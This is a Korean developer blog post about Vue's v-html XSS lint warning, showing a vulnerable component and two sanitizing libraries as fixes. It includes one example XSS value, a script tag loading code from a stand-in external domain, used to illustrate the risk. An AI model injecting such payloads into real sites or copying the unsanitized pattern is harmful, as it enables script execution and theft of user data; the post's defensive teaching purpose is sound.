[웹 보안 XSS] v-html 경고 메시지: "eslint v-html can lead to xss attack"

TIRANO·2025년 4월 14일
1

Vue.js

목록 보기
1/1

v-html 사용 시 경고 메시지


개요

Vue에서 v-html과 같은 innerHTML 태그 사용은 지양해야 하지만 몇몇 상황에서는 v-html을 사용하는 것이 더 빠르고 가독성 측면에서 나은 경우들이 있다.
다국어에 간단한 스타일링을 포함시키거나, 서버에서 만들어준 템플릿을 보여줘야 하는 상황 등...
XSS(Cross Site Scripting)가 일어날 일이 없는 상황임을 알지만
아래와 같은 경고 메시지가 빌드할 때 마다 보이니 거슬린다.

vue v-html directive. eslint v-html can lead to xss attack


문제 코드 예시

<template>
  <div v-html="value"></div>
</template>

<script setup>
  import { computed } from "vue";
  import { userStore } from "src/store/userStore";	// 예시 코드
  
  const userInfo = userStore().getCurrentLoginUser();	// 예시 코드. 현재 로그인한 유저 정보 가져옴
  const value = computed(() => `현재 로그인한 계정은 <b>${userInfo.name}</b> 입니다.`);	// v-html 태그에 넣을 변수값
</script>

문제 코드를 간략히 작성해보았다.
위 예시 코드에서는, userInfo.name 즉 로그인한 사용자의 이름은 <b> 태그로 감싸서 강조하려는 상황이다.
그런데 위 상황에서 사용자 이름이 아래와 같다면 문제가 발생할 수 있다.

'<script src="https://somedomain.com/script_for_xss.js"></script>'

v-html과 같은 innerHTML 태그 자체가 html을 문자열로 주입해서 수행되게 하다 보니 XSS 공격에 취약하다.
따라서 위처럼 악의를 가지고 외부 링크의 특정 스크립트를 수행하게 하거나 직접 코드를 작성해서 정보를 빼내는 것이 가능해진다.


해결 방법

Vue 프레임워크 뿐 아니라 Angular, React 등 다른 프레임워크나 라이브러리로 개발할 때도,
innerHTML 태그 사용 시에는 별도의 sanitizing 처리를 한다.
vue도 마찬가지로 v-html 태그를 안전하게 사용하기 위한 라이브러리들이 있고
대표적으로 아래 2가지 중 골라서 사용하는 듯 하다.

1. vue-dompurify-html 라이브러리

https://www.npmjs.com/package/vue-dompurify-html

문서에도 나와있지만, npm install 후 Vue에서 createApp 해주는 메인 파일에 사용 설정을 해두면 된다. (내 경우는 main.ts 파일)

npm install vue-dompurify-html
import { createApp } from 'vue';
import App from './App.vue';
import VueDOMPurifyHTML from 'vue-dompurify-html';

const app = createApp(App);
app.use(VueDOMPurifyHTML);
app.mount('#app');

설정을 마쳤으면, 이제 v-html 태그 대신 v-dompurify-html 태그를 사용하면 된다.

<template>
  <!-- v-html을 v-dompurify-html로 수정 -->
  <div v-dompurify-html="value"></div>
</template>

<script setup>
  import { computed } from "vue";
  import { userStore } from "src/store/userStore";
  
  const userInfo = userStore().getCurrentLoginUser();
  const value = computed(() => `현재 로그인한 계정은 <b>${userInfo.name}</b> 입니다.`);
</script>

2. sanitize-html 라이브러리

https://www.npmjs.com/package/sanitize-html

npm install 후, v-html을 사용할 .vue 컴포넌트 안에서 import 하여 함수로 사용하는 방식의 라이브러리이다.
(TypeScript 사용 시 설치 및 사용 방법은 이후에 설명)

npm install sanitize-html

라이브러리 설치 후 별도의 설정 없이 아래와 같이 바로 import 하여 사용한다.

<template>
  <!-- sanitizeHtml 함수 사용 -->
  <div v-html="sanitizeHtml(value)"></div>
</template>

<script setup>
  import { computed } from "vue";
  import { userStore } from "src/store/userStore";
  import sanitizeHtml from 'sanitize-html';		// 라이브러리 import
  
  const userInfo = userStore().getCurrentLoginUser();
  const value = computed(() => `현재 로그인한 계정은 <b>${userInfo.name}</b> 입니다.`);
</script>

TypeScript 사용 시

npm install -D @types/sanitize-html

추가로, tsconfig.jsonesModuleInterop=true 설정이 되어있지 않으면 import를 아래와 같이 한다.

<template>
  <!-- sanitizeHtml 함수 사용 -->
  <div v-html="sanitizeHtml(value)"></div>
</template>

<script setup>
  import { computed } from "vue";
  import { userStore } from "src/store/userStore";
  // import sanitizeHtml from 'sanitize-html';		// 라이브러리 import
  import * as sanitizeHtml from 'sanitize-html';	// 만약 윗 라인처럼 import가 안 되면 이렇게 해보자
  
  const userInfo = userStore().getCurrentLoginUser();
  const value = computed(() => `현재 로그인한 계정은 <b>${userInfo.name}</b> 입니다.`);
</script>


결론

두 라이브러리 중 취향에 맞는 것을 선택하면 될 것 같다.

  • vue-dompurify-html 라이브러리

    • 장점: 용량이 훨씬 작고(12.8 kB), v-htmlv-dompurify-html로 바꾸기만 하면 되기 때문에, 이미 프로젝트가 많이 개발 된 상태에서 도입하여 빠르게 리팩토링 해야 하는 상황이라면 좋은 선택이 될 수 있다.
      (메인 파일에 사용 설정 해두고 "v-html" 검색해서 태그명만 싹 수정해주면 끝)
    • 단점: 앱 전역 사용 설정을 한다는 점에서 사람에 따라 취향이 갈릴 수 있을 듯 하다.
      또한 sanitize-html 라이브러리에 비해 sanitizing 옵션 커스텀에 대한 내용이 npm 문서에 없는 걸 보면 별도의 커스텀은 지원하지 않는 것으로 보인다.
  • sanitize-html 라이브러리

    • 장점: 별도의 전역 설정 없이 필요한 .vue 컴포넌트에서 import 후 사용할 수 있다.
      또한 npm 문서를 보면 친절하게 설명이 잘 되어 있고, 허용할 태그와 차단할 태그 옵션을 설정해서 커스텀도 가능하다.
      • 현 포스팅은 Front-endVue 프레임워크에 대한 포스팅이기 때문에 본문에 언급은 안했지만, Node.js 기반 백엔드에서도 사용 가능한 라이브러리이다. 만약 백엔드도 Express와 같이 Node.js 기반 프레임워크를 사용한다면, 통일성 측면에서 sanitize-html 라이브러리를 선택하는 것이 좋을 수도 있다.
    • 단점: vue-dompurify-html 보다는 용량이 크고(66.1 kB) (그래봤자 둘 다 매우 작은 용량이지만.)
      매번 import를 해야하기에 사용할 때 마다 코드 한두줄이 추가된다는 점.

상황에 맞게 적절한 라이브러리를 선택해서 사용하면 된다.
지금 당장은 XSS 걱정이 없는 코드일지라도, 추후에 프로젝트가 커지고 기능이 확장되면서 계속 고도화가 되다보면
나도 모르는 부분에서 보안 이슈가 발생하고 제품의 결함으로 이어질 수 있다.
v-html(innerHTML)에 string 변수를 때려넣는 습관은 지양하고 sanitizing 방법을 찾아 활용하는 것이 좋다.

profile
Web Front-end & Back-end Developer with 3+ years Exp.

1개의 댓글

comment-user-thumbnail
2025년 4월 14일

깔끔하고 좋은 내용 잘 보고 갑니다!

답글 달기